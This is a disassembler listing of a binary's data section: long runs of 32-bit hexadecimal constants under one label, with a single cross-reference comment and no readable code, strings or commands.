		dd 1E4C34A4h, 0DAB87652h, 60580881h, 739DF650h,	2FAA61Dh
		dd 32604B21h, 3FDA8257h, 2C320C1Bh, 0F70600B7h,	92D387D2h
		dd 71F371B7h, 89162C27h, 0AB383EF5h, 0F39AF4Bh,	89E220AFh
		dd 3CF87D6Eh, 0ACB2E45Bh, 0D3D0185Ch, 0F0151704h, 87EB023h
		dd 64FE5A4Fh, 44111738h, 108F662Dh, 1C5E18EAh, 96E2D174h
		dd 0E4796BAAh, 6F6B6804h, 684B788Bh, 0A576E9A3h, 0F6267B6h
		dd 1CA7C9B9h, 0B2221E4h, 0C6135105h, 5E0CC05h, 0A3BB19FDh
		dd 527710A3h, 681FBE01h, 804E72ACh, 565D7670h, 0BEA8101h
		dd 7E63202Ch, 0E9087F00h, 11950DB6h, 0EC925289h, 4F3DA2CFh
		dd 60AD19E8h, 4382C78Eh, 0D72AF2B8h, 0E9C16E45h, 0B93DE3CEh
		dd 8C317805h, 7BAE822Eh, 0FCB4CE63h, 517D12A1h,	26D1D7F3h
		dd 4199FF13h, 9227F537h, 0D4DB2006h, 65C15F80h,	0EC8CF0E3h
		dd 39FF4BA8h, 7445D4BFh, 8C8880A6h, 0A290EFC1h,	0D52C87E6h
		dd 820CB36Eh, 9D15D1Bh,	218A68E7h, 0E950D418h, 71BC7C2Fh
		dd 44FFEAD9h, 57BAE061h, 9796029Dh, 42475421h, 2AACF6AAh
		dd 2A1FB124h, 52AF3DFCh, 2065956Ch, 20478F85h, 25E9982Ch
		dd 0A59206EEh, 0EDD09A41h, 7C27AF49h, 69656FDDh, 2DC6B3CFh
		dd 2C9580B1h, 74D02850h, 6B1CB104h, 17BBE855h, 941D22Ch
		dd 44705EAEh, 0BF8878B5h, 4C9F873h, 0A691EAADh,	158C3634h
		dd 0AD0A6E79h, 8A4B1BECh, 5107E690h, 870D4BCEh,	84695Bh
		dd 17FAA3B9h, 37F25BADh, 91A5AB16h, 43A8C4Dh, 904EDABCh
		dd 6068EB66h, 31B8630Bh, 7FA082DDh, 0D25D073Eh,	11746B44h
		dd 26063961h, 0BC39660h, 8C6544Bh, 0D4A7E361h, 89247E2Bh
		dd 32A442FBh, 761CF30Fh, 18906AFh, 0DB954C94h, 0B0B8ADE7h
		dd 54522C68h, 7AAC5984h, 60894855h, 5B91FD4Ch, 0F0946B4Fh
		dd 2C769D71h, 7751E862h, 77B44D98h, 5F2165C4h, 8BA447B8h
		dd 6CE909A3h, 6423D22Bh, 0BE9606D5h, 3D5846D7h,	8931CACFh
		dd 8655F89h, 50DEB784h,	8ED21CFEh, 0C5AB5AD0h, 0B412D004h
		dd 24181A8Fh, 9F0C1E6Bh, 6ED9202Bh, 9031EF09h, 28C2550Bh
		dd 170C080Dh, 0BE20CA14h, 5A42E20Bh, 2516B6F0h,	0EF058938h
		dd 47EC9E60h, 0ABFF7CC4h, 64132128h, 0FAE0BBB7h, 0B92B33E1h
		dd 56E9C614h, 863BA029h, 0FE5A80E3h, 5D0ED8BFh,	2A65551Eh
		dd 271CBD93h, 0DB1756E1h, 76FC5CBAh, 0B6C87025h, 0C8DB2F99h
		dd 16992910h, 4B37E456h, 5E305C04h, 9FE33E9h, 467B5742h
		dd 0D4E59D62h, 36FDE956h, 5D8381FEh, 831AA27Eh,	84698AE9h
		dd 4190B2BAh, 0C2FBE987h, 6BDE715Fh, 4A1EE9F4h,	0BA4BE703h
		dd 0C00B484Eh, 0C74A8049h, 4AA28255h, 0C7474309h, 0BF085829h
		dd 65B72F9Ch, 0A3C7ADF0h, 9F1C5AA7h, 7772B9F6h,	79A76EE5h
		dd 438E60D8h, 0F728517Ch, 36E392DEh, 1F923423h,	988544EEh
		dd 0D5451F61h, 80AA8144h, 9960938Ah, 523564Ch, 345B7EA2h
		dd 0F50C7482h, 86A0C3EEh, 63E076D0h, 0A53B8482h, 3D695C0Ah
		dd 120B4C2Dh, 0AE03BCD6h, 0E270F263h, 1A3B548Dh, 798F8E29h
		dd 1BFA06A2h, 0A7166956h, 0FF733BB1h, 0F432A85Ah, 4B9208C8h
		dd 4EF2EDF3h, 0A35F65CAh, 0E9345AB2h, 1798CFE0h, 0F126707Eh
		dd 907048Bh, 0F840362Dh, 1C176DB8h, 920025C6h, 2DD0F703h
		dd 0C3531D81h, 0BE76E51Eh, 73B88E13h, 0F2AA4C84h, 24E7F1Eh
		dd 575A09C2h, 0D66BFBD3h, 0F4E95889h, 36E78E4Bh, 4DBA497Bh
		dd 1C6CAC29h, 0C7FEC1B7h, 0CC28E780h, 0EFECFCF7h, 3FB82F5Bh
		dd 0AC6EE909h, 9A59473h, 704E7EDAh, 18408BE9h, 44D64EF7h
		dd 1284D417h, 27E4EEA0h, 47D50CFh, 3EC358FFh, 0E9E38052h
		dd 22B74FC2h, 867F6637h, 0C4731DCAh, 8C279022h,	0D51D88ECh
		dd 0E81F5052h, 16E7EABFh, 7646B900h, 48EBC167h,	0DE2CD707h
		dd 0A7BB8218h, 0A4C1D431h, 0A85C4146h, 0B82791Bh, 800A5F2Eh
		dd 27FDE613h, 660C48EEh, 983DD50Bh, 3772A0Bh, 15728812h
		dd 4B175735h, 51F12F73h, 0EDC27DE8h, 68418CB1h,	8C7E167Dh
		dd 2D179A7Fh, 15D13E1Ah
		dd 800047BEh, 6C1FFEEh,	5AF428E8h, 0C4ECECCDh, 0F2597F19h
		dd 56E9680Ch, 0A255C7D4h, 2C4C3D72h, 31268A22h,	0AC0F521h
		dd 0BA5103ABh, 7CE17D59h, 83166E73h, 905150Fh, 58B32023h
		dd 2F1C112Dh, 0E95E7F46h, 4610FD27h, 0BDBA33DEh, 82BE5604h
		dd 0DA83F43Dh, 3403E9CEh, 0F826B142h, 3392B26Bh, 664DBF7h
		dd 48BB35E9h, 0F21E2EDCh, 77D6B5CEh, 0E3F7D4ACh, 1000DF8Eh
		dd 9317A1B9h, 0CE18158h, 737C4114h, 6616B084h, 0A81E06B3h
		dd 0B73F0B44h, 0A0CFA0BFh, 148AF86Fh, 0A5605084h, 2833EA03h
		dd 0FCE9EB21h, 70420B0h, 34E0D04Fh, 0DEFAB28Ch,	0AE3D1665h
		dd 0EF409FEAh, 76034942h, 5FCF0052h, 4F71D12Fh,	0F598DFF7h
		dd 0D36F8200h, 0E9FD01FBh, 0CCB55E43h, 0C29C3498h, 29AFD625h
		dd 0C58362EDh, 85584557h, 0BE903BE9h, 99E07189h, 8C868274h
		dd 812D28B8h, 658FD41Ch, 820B1205h, 5B01D9FCh, 913E8768h
		dd 48F9866Ah, 3973950h,	0F9CAB4BEh, 1A285CC7h, 5D32C2A7h
		dd 5C13DA9Eh, 880DE5C1h, 0A1800BDDh, 27791B76h,	4B16BE2Dh
		dd 97013D46h, 298E0524h, 0ED812B85h, 500AA201h,	13D28B1Ah
		dd 52F723AFh, 4C501FDAh, 425D8E0h, 2580F68Eh, 711E295Dh
		dd 0C328507Eh, 3D2C7498h, 0D76E8E51h, 106BFF46h, 0AC075BEBh
		dd 7FD95FA4h, 0C5B8F82Bh, 85F40768h, 5F9740A1h,	50D74560h
		dd 1618BB53h, 29847Dh, 0DC103647h, 0D84F8920h, 0B0173FCBh
		dd 86D9B2D3h, 2F88EE45h, 0F4CC301h, 57133996h, 477E90AAh
		dd 0EC09F781h, 0D89A5D79h, 55549DE5h, 3F320837h, 0D49B5536h
		dd 0FDA0CCE2h, 0F4584BDh, 0CD813A07h, 57596AA5h, 0D4F0DF0Bh
		dd 0E068590Bh, 71573015h, 0B1635C77h, 0A5DCF626h, 0DD8532DDh
		dd 4C644D79h, 0AA9763ACh, 0EC4F3B04h, 6A071A14h, 0B27C835Eh
		dd 0EA6AF0F7h, 12BDB55Eh, 98BCDBD7h, 0A2B2F86h,	0D15CF9F8h
		dd 4D0201Bh, 0AF7D6125h, 8EF8826Bh, 0DB095EE4h,	0DC3E5945h
		dd 0B951094Ah, 236E06F5h, 2D9D0944h, 37812E52h,	68B8200Ah
		dd 4DD90456h, 3DC00C7Bh, 0A0860374h, 7016C6E9h,	0C1242F79h
		dd 0F604EA72h, 0EC7FD0DAh, 5E1647C8h, 44A446Fh,	0B140AF59h
		dd 268FA7EAh, 0B0314ED8h, 3E540FADh, 8072C291h,	0ABC01550h
		dd 0C935AC6Eh, 99062AE0h, 223A8E02h, 0B535F0A6h, 1783F789h
		dd 0DF4CE4A2h, 790F2598h, 0E2E23064h, 2D7EE15Eh, 0DC128225h
		dd 0DBAB4F07h, 42D553E2h, 52A7B07Ah, 7D1F13BAh,	0AB0DBB3Eh
		dd 0E27A0D1Bh, 6AE9C20Dh, 0FABF68CAh, 0B895B5Fh, 1CA06254h
		dd 8E4C61B9h, 0AFE9065Bh, 0DBDDF10Eh, 0D5873729h, 242AA2DCh
		dd 525CA470h, 0E4EA8E8Fh, 0F3BAF86Fh, 5A0992F3h, 0E9E652Eh
		dd 0FA13B532h, 0BA7AA6CFh, 474B078h, 0D14436EAh, 2352C037h
		dd 255FC976h, 10295ACh,	0B4E94DA0h, 42F757EAh, 1EC460BCh
		dd 0ED63CA66h, 0BF59175Fh, 12426F27h, 0C289A7E1h, 0A0C9DAB2h
		dd 35A8E2E2h, 7C56601Dh, 50F51E4Ah, 8C00C2F8h, 295B5C6Dh
		dd 5A015AD3h, 7FE5E0FBh, 0DE106C6Bh, 515F41DCh,	514F3654h
		dd 0B4F33E8Bh, 0D989AA96h, 6C969D3Fh, 9AAFA47Ah, 0E96F61E7h
		dd 742BD320h, 0C3420045h, 299852FEh, 34916AC0h,	1350910h
		dd 280A77CEh, 6E90C5E9h, 24F31CC8h, 250F2ECFh, 164BBFE3h
		dd 0BB5813EBh, 0E29D9B53h, 303CC140h, 0B77390D9h, 88190D0h
		dd 0CCFC6A5Ah, 0A69720A9h, 89168AB4h, 4AE94FA4h, 40B2C206h
		dd 2D04F350h, 579C5EEFh, 541B8681h, 0E2F90CC5h,	3A7DDCFAh
		dd 120467A6h, 405E863h,	446068CAh, 0D4EAA7C0h, 0AFE301ADh
		dd 9B1CB105h, 0A4363075h, 83E1EE96h, 8C3A02EDh,	0F7C066FAh
		dd 54E91EB2h, 0E235C030h, 1D315D4Dh, 76630CC1h,	6C833BFDh
		dd 879798E1h, 4E7DD5F2h, 506FB45Dh, 0AF76E2B1h,	9D16639Fh
		dd 4DE9B7F4h, 0E0683C4Ch, 0F6612E2h, 0DDA6408Fh, 30481A3Bh
		dd 2C9E1CCBh, 80B37D2Dh, 48211DE1h, 500465D3h, 0DE016FBAh
		dd 519CEB82h, 73CD8C5Dh, 0A67AC72Bh, 72556830h,	3ED00B5Ch
		dd 58250926h, 573AB7Fh,	0F8F09205h, 806B00B4h, 0E4C0A4ECh
		dd 0DC0EF606h, 1DE7B353h, 11DCE95Eh, 0ABD325h, 9210C568h
		dd 0E9255D67h, 0B001F0BDh, 0BE2BBDCh, 74D1669Ch, 0A9B2F78Ch
		dd 6BBA0EEDh, 0D7553858h, 63F5F69Ah, 0E39CF566h, 0AA764D4h
		dd 50319328h, 0D7F75D12h, 6165D300h, 7F4616E6h,	4EB34F4Eh
		dd 0BCE4E1F2h, 765A093Eh, 5BDA7881h, 25B2C59Fh,	452DA145h
		dd 6887045Dh, 308CD92Ah, 0D8B6D8C7h, 0E69C7D2Dh, 0DCC77825h
		dd 0CC6F50C7h, 0DE6A5481h, 91680AD4h, 0BF63AD44h, 11B280B0h
		dd 0F1105DE9h, 2618974Ch, 70E23DB7h, 2A360416h,	12AF4000h
		dd 0F9D10735h, 2B57920h, 0E9F6C5A9h, 93D51390h,	0BB4EC131h
		dd 2E7723Bh, 0E16068F5h, 3F3078ACh, 0A24AF031h,	0F568C2F3h
		dd 4BB4F97Ch, 18316B43h, 5971FA20h, 7FD8CF3Ah, 5CD5856Ch
		dd 52D013CDh, 0F5FA00B4h, 3AF776A0h, 419817B0h,	671E46E6h
		dd 0FF137E55h, 0E1E2B9D7h, 8BBF0058h, 2A50E84Dh, 57121DF7h
		dd 480164FEh, 2DBB4094h, 0F7BD012Ah, 0D9C14FDFh, 78C8FF08h
		dd 0CF2CB382h, 5300CA29h, 226619BBh, 0DA210B4Fh, 0AAD4E7E9h
		dd 5E5C000h, 0F6F9ED80h, 0E3864BDFh, 80AE247Fh,	5D496889h
		dd 2132DDE6h, 4053E2D8h, 8094761Fh, 6E2FFBBEh, 2877CB6h
		dd 571F7A0Ah, 0DB2BD80h, 0C8A13373h, 0CDC66A08h, 0C9C700D2h
		dd 0EE314769h, 82FF88E9h, 51C1BF56h, 0F7FF8344h, 290D31C5h
		dd 580BDA4h, 106802BAh,	0E3647BC4h, 0A8125D4Ah,	55F9DBEAh
		dd 680A40DDh, 0C6BD576Bh, 205C2291h, 0F75852C9h, 0EFF7D41Ah
		dd 8EB88B11h, 52134659h, 42A12CFEh, 5920FA41h, 0CBFE008Ch
		dd 0C001C380h, 6CF06EBh, 54F32407h, 2C2FC2FFh, 53E82360h
		dd 3703E916h, 0C932F7F5h, 27F22516h, 0EEF950FCh, 70F53110h
		dd 0D1BFEA5Ch, 11A543h,	93D4Ch,	0B95107E0h, 2BEC9F8h, 67362DB6h
		dd 0E27F6985h, 51070B9Ch, 0BE2944B8h, 55700D8h,	927B53BFh
		dd 230E913h, 91669E20h,	3C40829h, 23B0479Dh, 3857E1F8h
		dd 2B1AD22Eh, 83CA4B12h, 0BC9C6B13h, 4B54CFA0h,	61F74208h
		dd 177AA30Eh, 0EB61FF7Eh, 5532C523h, 0ADE5809Dh, 0C13E5A50h
		dd 0B39221EDh, 4D0227h,	0A44116BEh, 0B424E921h,	5D683ABDh
		dd 0B1515800h, 0C178FE9Bh, 608E137h, 0C000D5B9h, 0CF282CF1h
		dd 0C0F35974h, 8ED252F8h, 0B95E4BA8h, 6644B7CAh, 0C997E913h
		dd 5BFE4198h, 0FB8FADD9h, 61A5EF31h, 1D2AD53h, 4CE721D7h
		dd 74F0E381h, 0AF695C3Eh, 6AA39C04h, 0F832C38Fh, 11F54D8h
		dd 2C4D951h, 67405B08h,	844C2034h, 7A322549h, 2FCB0499h
		dd 0B94E7252h, 0FBB605A3h, 3E9440B7h, 92DCE2C7h, 2544EEB8h
		dd 0A2705674h, 0CA02B691h, 0DEB5DC31h, 0F8290BDCh, 1B55B632h
		dd 98783590h, 0A9F7E0F7h, 759F6650h, 0BF5DA740h, 5E5B4ED0h
		dd 43F720B4h, 5B541352h, 80A454A8h, 0F333D530h,	2D0D1958h
		dd 1645668Ch, 0AD652E68h, 0B368A1BCh, 38E90E34h, 0CB5F63A7h
		dd 95317E00h, 0DE091C3Ch, 0C14CD86Bh, 5708EE03h, 0E1D16856h
		dd 706F6025h, 0E849A9B2h, 0FA214E25h, 66D50103h, 31E96EB0h
		dd 62976A0Dh, 177DF9EBh, 570F4EC3h, 0C4029C6h, 32FF641Fh
		dd 7EEFA49Fh, 4D7769C8h, 10E6AC81h, 0C6BA02B7h,	0C0787F15h
		dd 0F2131ABEh, 0BB6B02Eh, 7ACD62C9h, 0AB2C29D4h, 13F9BDC0h
		dd 283E6075h, 4E3A78CCh, 0CE982976h, 6E5D0881h,	53A86416h
		dd 510CEFA5h
		dd 0FCE97A5h, 3B5E2282h, 0C4B8AA6Fh, 0C9EEFB87h, 28A5A365h
		dd 22EA6200h, 10064666h, 25D2FE9h, 0B8CF2B8h, 0C48277FAh
		dd 5732147h, 605B98BDh,	17F3BB0Ah, 105FB4Ch, 18209355h
		dd 0F2E22F53h, 0B249EC05h, 2D9EF19Bh, 0E50CC57Ah, 2CECDFEh
		dd 81F421A5h, 936CE73h,	5A6E0732h, 70930E2h, 0D358E0F7h
		dd 528AA8C7h, 60D50968h, 41B178D1h, 0AC84C642h,	7E2D8179h
		dd 579C2056h, 0B5BD988h, 30F4B450h, 0C1801E81h,	0AF106E91h
		dd 0ECED7AB1h, 344CB753h, 1D5B384Eh, 75ED2CC8h,	0D5276018h
		dd 0E788B994h, 0AB7C2D55h, 63A9444Fh, 0C2FE0816h, 0C3ECF62Dh
		dd 0FB32744Dh, 7718D8CDh, 0D8F7B4C8h, 84D005CFh, 0DBBAFCBEh
		dd 828E5193h, 0E9778054h, 1D315E6Ah, 0B45496ACh, 4AFAC841h
		dd 0E80F8D66h, 685D12C5h, 0BF9BC423h, 552F618Eh, 0F84D4A6Eh
		dd 1076607Ch, 5354A4Dh,	0F06B61BAh, 68A2D159h, 0D2D6CA91h
		dd 2F4E0B60h, 0EA09241Bh, 6079973h, 0FDF82F05h,	0B8E05289h
		dd 93B2425Ah, 0D8B6C13h, 0BAFC00A1h, 0E32C1888h, 99C363Fh
		dd 0C0563428h, 4B2A820h, 5DE341BBh, 2D9DA8B9h, 8340F89h
		dd 935C18D0h, 43553568h, 0D9E83F7Ch, 0BADD81A4h, 74A62DAh
		dd 34949745h, 0B0D0EB3h, 5EF229B4h, 0C201BB74h,	5AF85666h
		dd 0E9592F30h, 9650B96Fh, 0F187C8F4h, 7E1D8D2Eh, 0D3E80A94h
		dd 0B887407Bh, 9A07BC00h, 413EBD2Bh, 1231EACFh,	415558C5h
		dd 1E372D93h, 4635E54Eh, 0E927C906h, 5A0B8109h,	2AE14A5Dh
		dd 0F263437Bh, 2CD72BE6h, 6C1F410Ch, 0CA0014AEh, 2A9354C9h
		dd 352237E9h, 0EA6E62ADh, 46976A54h, 0E6029BA8h, 54BE025Ah
		dd 240080D4h, 0BF3F307Ah, 0FDA61646h, 162DE8C4h, 75A4D6D1h
		dd 0AA101666h, 990FAA33h, 1E0033C1h, 4E5E71E9h,	0A54895A4h
		dd 71386C6h, 5BD42B66h,	1DE90805h, 0F2BBED94h, 0DB09A055h
		dd 2885120Fh, 0E42E5616h, 0ED6ABEB7h, 0C5089146h, 68570F19h
		dd 273A5041h, 83D02A5Fh, 2C3F9B69h, 6539898Ch, 0F782BE22h
		dd 0D2E5D767h, 0BAA58A5h, 751A30DAh, 2FD70680h,	0B2B46FCCh
		dd 0B76A952h, 41967D46h, 531E3BE8h, 0F05C5E31h,	0C7BF46EFh
		dd 500D586Ch, 565B932h,	1B5FB712h, 61C3B00Bh, 6D80EDDh
		dd 42E91210h, 48E05A99h, 12E47175h, 2F9BAF5Dh, 0D66EA84Eh
		dd 0AFF2D4EBh, 1F6951C0h, 55DFF675h, 3D425CF2h,	886800DAh
		dd 707AC1CFh, 0D725FA69h, 746D5E23h, 0C2C126E2h, 0E4E148A8h
		dd 64AA440Fh, 0D9068555h, 0F4D666E9h, 16FE63B7h, 47AE3B4Fh
		dd 226180CDh, 247E2915h, 0C7280CC8h, 40F4F897h,	687E5CECh
		dd 958B3A5Dh, 444096D7h, 46221A73h, 0E211BD5Eh,	0EF64E471h
		dd 0C0838B95h, 306ACE29h, 960C4292h, 6B7CB62Dh,	54B4EB09h
		dd 384F8297h, 576802FDh, 0F7D2C0CBh, 7DB0C9D8h,	0D8A0075Eh
		dd 192A30E8h, 6E0B1A3Ch, 47A52AEDh, 66810804h, 863C976h
		dd 0D05CFD58h, 0A5D54A2Dh, 85573126h, 9BB8FD94h, 0C9BE5600h
		dd 4E230C7Fh, 4666BABAh, 0E0147CD8h, 0BCF55D01h, 76556882h
		dd 0A2C8165Fh, 1D9FFCA4h, 4BBD974Eh, 97045815h,	20CAFFEBh
		dd 0F9A2E909h, 7A178CE5h, 0B94B9EECh, 8CEC9292h, 15F1E94Fh
		dd 3C96D2A5h, 9A40CBE7h, 0D19F0B7Bh, 0E9F81229h, 5EDFA068h
		dd 0F2E678B5h, 3B5049C2h, 0E25AD613h, 0B387C6C7h, 20909823h
		dd 0FDA026E1h, 0F627397Dh, 73D7448h, 6432158Ch,	20CD429h
		dd 0D93BE908h, 0A6499FEh, 981613EBh, 6A904573h,	3F3D62Eh
		dd 20D5096Fh, 0D0FBE06h, 296F2D10h, 69F02355h, 0E28F0428h
		dd 80E46765h, 2523F22Bh, 31544C05h, 1AA5AD3h, 0BD1F89DEh
		dd 68DEE962h, 0F709A12Fh, 0C281EA59h, 67965F03h, 58F16053h
		dd 253A4308h, 7A450C89h, 9B0FF77Bh, 664C2B1Eh, 0B16856Bh
		dd 0FD28B8B5h, 4F48F02h, 0B35336E8h, 0D3F6D906h, 0B008C3FEh
		dd 14B01EA8h, 18C22020h, 0F72CEB80h, 84042BC0h,	1AFE91Ch
		dd 6A37FC6Fh, 2CEF0277h, 70F547FAh, 1F0883EDh, 8238C11Ch
		dd 0F3E3E976h, 17D76675h, 0E87B2C68h, 7FACD235h, 296850B0h
		dd 0D4E5395Ah, 0B57B6765h, 0FDB22EE7h, 29972499h, 0E5D92EC2h
		dd 46230580h, 2D2FE1h, 0A5C18B8Eh, 2158C789h, 0C372FB62h
		dd 0FE58C0E6h, 0EEEF30E9h, 7F3DB942h, 0C1AC5D5Fh, 1C80032Ch
		dd 7ADF4579h, 52C50149h, 0FD42DD02h, 8D093A04h,	678E805Bh
		dd 0DA140944h, 80E363Ah, 0AB616CA5h, 0F1F4D274h, 0A2194E51h
		dd 3D1D86F4h, 959DF6FFh, 2B788CE8h, 29E24h, 20B0D14h, 0F656E7Ah
		dd 36C0FDD1h, 852C4F35h, 138E8606h, 0A41D725h, 6A8076EEh
		dd 40CFDA97h, 17B652C7h, 0A3B7F328h, 393BB8Ch, 3C4BF193h
		dd 17D93710h, 93503CFAh, 0EA4F2522h, 203A4C85h,	0BE0558D0h
		dd 1CF234C4h, 153747C0h, 20CBB05Ch, 801CC584h
dword_4F0044	dd 0CCCE19E4h, 0FB1ED3A9h, 3034F440h, 5DE958E3h, 680B712Bh
					; DATA XREF: ___:00437A2Co
		dd 865E69A1h, 46B304FAh, 134423F4h, 900C7D2Ch, 8B96DFF7h
		dd 2CED195Eh, 0F2E3AC30h, 0E43D6FC2h, 0B91F93D4h, 5C0B8B8Eh
		dd 196F1F7h, 9BE9540Bh,	82BAF607h, 3E763971h, 68080112h
		dd 0CC683C25h, 9EBA5280h, 1D4EFF0Ch, 0F8F84413h, 0E5060835h
		dd 0CAE5E0C9h, 89C79612h, 41F3B0B0h, 101D6854h,	0A14AE721h
		dd 6015C8E8h, 58476B12h, 0F73A2CFFh, 2D80D040h,	925C3BC3h
		dd 5E28B68Bh, 4EB80EACh, 0D73AF917h, 67250AFAh,	1D8288C4h
		dd 62F94028h, 0D00E9614h, 0D4D5F4B9h, 76EB2D33h, 0AED66C79h
		dd 4E255E03h, 93E9DA01h, 3532030Ah, 0AB5AF9E4h,	2ADC63D1h
		dd 0E72536F3h, 7250C961h, 0EB88C7D1h, 0D4578B29h, 0EFC2C536h
		dd 0F05E97C2h, 0CAD48A1h, 0F5330D05h, 0FDBFC050h, 765EEA77h
		dd 0A049ECDh, 0BA12328Eh, 0EAB8D13Fh, 213BF05Ah, 0F08CEB4Fh
		dd 0FD687052h, 0C2CE0BC1h, 25ECFF00h, 7FBB3B27h, 3209EF13h
		dd 747E631Fh, 51D75A1Bh, 97E9043Dh, 0B773C85Bh,	3112B19Ch
		dd 963077F8h, 0FBCA811Dh, 75A40616h, 278F14AAh,	21C07866h
		dd 680425ECh, 215A0405h, 4EC8F3BBh, 6D24C6E9h, 0A002AFD2h
		dd 0D1DF3768h, 0B8C877Bh, 0E931C459h, 42E909DBh, 1616D592h
		dd 0ACAF7C95h, 0B2D61225h, 70CED085h, 7CF41F25h, 165C0115h
		dd 7F2910EFh, 0F68FDA1Dh, 0DEBC520Fh, 48B0E93Ch, 5938BA38h
		dd 0E9A09373h, 1F2F392Fh, 0A8CF432Ch, 4B317A5Dh, 0EF39FFCAh
		dd 9489A539h, 1BBDE350h, 8E46DBB2h, 0DFEB012Dh,	3136F958h
		dd 84443E0Bh, 0F7103CC5h, 75502450h, 0D12326B8h, 9F1F0876h
		dd 0FAD65F1Fh, 0D03092EBh, 0D7514A7Fh, 0E9041BEFh, 2DF3D948h
		dd 6589CE38h, 0E8803BE3h, 14BE4D52h, 0DAC0D176h, 3A6468E2h
		dd 0B00930E9h, 92B6F64Fh, 74916C2Fh, 65D992F3h,	0AF02126Dh
		dd 8A3B389Dh, 0BA5210ADh, 840E982h, 0D74B10D1h,	53E9D8A1h
		dd 4CF76998h, 0C495F8Fh, 16D58552h, 4017CCF3h, 2C1364EBh
		dd 0B5A157D5h, 0DE53AF31h, 33948900h, 92BBA3FEh, 25AE8AA0h
		dd 0CA1B008Dh, 3EAA38EDh, 676063B8h, 52DFF2B1h,	9222161Dh
		dd 6C9EB96h, 5A50E1DFh,	19CDC03Bh, 6C123C33h, 0B10BFA09h
		dd 5B6CC1CFh, 68A05428h, 0E9802D13h, 377AF175h,	256FE235h
		dd 0DFE2185Dh, 0D1F99FDDh, 2D6268A7h, 0F618C1B9h, 0E3C680D6h
		dd 6AC093D1h, 2578A0B2h, 0E9764DB6h, 18B7F141h,	0F16F9ACDh
		dd 7A313E77h, 0D12BD81Bh, 5F802D3h, 3E3817E8h, 3244B74Ah
		dd 44E318C1h, 4CA5BD41h, 9ABE055Eh, 0A1F9E805h,	0B57A06E0h
		dd 0CD85E8EFh, 99E9340Bh, 0C583D9D3h, 0AC62825Ch, 54502D00h
		dd 5E062F27h, 9512F17Eh, 0F2BA9AC5h, 8763C436h,	8B136CEEh
		dd 0A6ED2EE5h, 1012BA92h, 0A32EE9A1h, 6DFFD72Ch, 0DA67FC2h
		dd 0A22EE90Ch, 0F671B72Bh, 5266DF01h, 0D72891B2h, 17205AD8h
		dd 92C5BF8h, 0DE267D34h, 93907F52h, 1247EC20h, 197D7F7h
		dd 9D032634h, 5C823B72h, 965AC14Fh, 97404A02h, 79BDFE94h
		dd 89500437h, 0F964A1F0h, 50943C32h, 0D81EBC05h, 73C99ED3h
		dd 8292796Ch, 334F7BEEh, 9FAFE582h, 2EFBB800h, 2D7C0405h
		dd 828536EDh, 0BF70C114h, 68585395h, 0AB6CC4B0h, 34EA9412h
		dd 1306E766h, 0C3CA557Eh, 0AA575912h, 2136BC00h, 5CD139FEh
		dd 71287EAh, 5A5F0942h,	0BBC3B710h, 8767D7Ah, 763FCB05h
		dd 0ECC04E0Ah, 5B484CA6h, 274AAEEEh, 0E401AA5Dh, 9314937h
		dd 7FAFCA6Bh, 0ABB8AC7Ah, 0A95C02BDh, 871B772Bh, 80891441h
		dd 414DBD14h, 5E896312h, 128AE8EFh, 51026401h, 68CFADE9h
		dd 1D485EEFh, 531AA80Dh, 5A36FC6Eh, 0FAD5A6C1h,	0B6FEFF97h
		dd 0CEB0163Dh, 0B34F26E2h, 0AF239F65h, 71B08AE8h, 0CC8FE00h
		dd 8E8C01Dh, 50B8722Ch,	80C685F7h, 15B8CE29h, 0FCB9B520h
		dd 0B94750DFh, 126DE233h, 0EFD7016Bh, 0A8231E21h, 2FFA6801h
		dd 0BBEB1CCh, 45A13531h, 3D4CB200h, 0E97B6D9Ch,	0A0B2D65Bh
		dd 5D476A8Ch, 5F6B39Fh,	0E5751026h, 688CAB06h, 0ECFEE4Fh
		dd 677312BEh, 0B300A6FAh, 39F56E8Ch, 7D00A8B0h,	25775A78h
		dd 0F2339Eh, 29150D3Ch,	4F2D7E5Eh, 0D114D926h, 50FF8216h
		dd 7116847Ch, 0CB7E227h, 0C1EEF55h, 1D7A13BAh, 250EA3Dh
		dd 0E0F24B08h, 5EBB680Ch, 11419BD1h, 0EA2C0B41h, 49BD0505h
		dd 0EAFC944Ch, 11689D42h, 0D01ADF21h, 64FBB202h, 0B7B7A375h
		dd 2926C878h, 5510C554h, 6C0A4FBDh, 0EA5D0C45h,	0EB4E16CFh
		dd 5D5B0222h, 0E941AF73h, 316E4E2Bh, 6F713BDFh,	0DAD905B3h
		dd 5FB568C2h, 0B1A441E9h, 228B7FD7h, 0C112F84Dh, 0A15FA858h
		dd 0ED2EED87h, 0CABE92C5h, 0F7022583h, 3CE93D38h, 8222F369h
		dd 0CC9B44EFh, 0B75F71FFh, 8A4F35ECh, 52E8E785h, 0B89117F4h
		dd 7C29B242h, 10D4421Ah, 24AB5F04h, 0C251E23Dh,	75F530E9h
		dd 5F94B27h, 68CE82D0h,	0B3FA5804h, 0F4D8D21Eh,	0D1794405h
		dd 0C407804Ch, 18BF520h, 50CDFE04h, 0BF7682B0h,	2D00FF58h
		dd 1B6C62D5h, 1304105h,	0BA350C37h, 7B45B723h, 0D78C6B05h
		dd 75BFEF20h, 0E54B5AC5h, 0FF0804EAh, 5A04FDA6h, 8030C333h
		dd 8706FDC0h, 93ED724Fh, 543B00D3h, 49078D7Ch, 46060EDCh
		dd 0B6AA4C7h, 0BF80EA7h, 79228550h, 27E777C0h, 0B2F7B868h
		dd 69CDF43Ah, 0AD974682h, 280FD1C5h, 0D8D9A4C8h, 3F932DEEh
		dd 30831735h, 0E05C8A36h, 92D2E98Ah, 0A953B7DEh, 7FB9EE22h
		dd 54FCE962h, 4021183Fh, 0F3954B3Bh, 59E02F74h,	696DD29h
		dd 2FA12C88h, 6861FCD4h, 332A14E0h, 29F725B4h, 0C6CD2800h
		dd 524C0E31h, 4DBB078Fh, 0E7C05D03h, 4D884F65h,	1658DA3Eh
		dd 4C7F878h, 432EF0C5h,	1BD5AB31h, 0D2E9C916h, 6947C1B0h
		dd 0C146F30h, 5F8B1753h, 4A6E550h, 149D1008h, 3DFC0C6Bh
		dd 85F1018Ah, 9FFFFC35h, 569F51CDh, 120A24C1h, 0AB35F51Bh
		dd 4B44F0CBh, 4E0DB252h, 0E7F734E0h, 38359760h,	440462C8h
		dd 0A329C4E9h, 0C380C123h, 0E9C2E9D1h, 4DECBBC7h, 0F7421626h
		dd 157A09D3h, 6B6446D5h, 4517588h, 814AA6A5h, 6748971Dh
		dd 922C363Ah, 3F127138h, 9CC4A9F6h, 0BBF8D86Bh,	56D24F00h
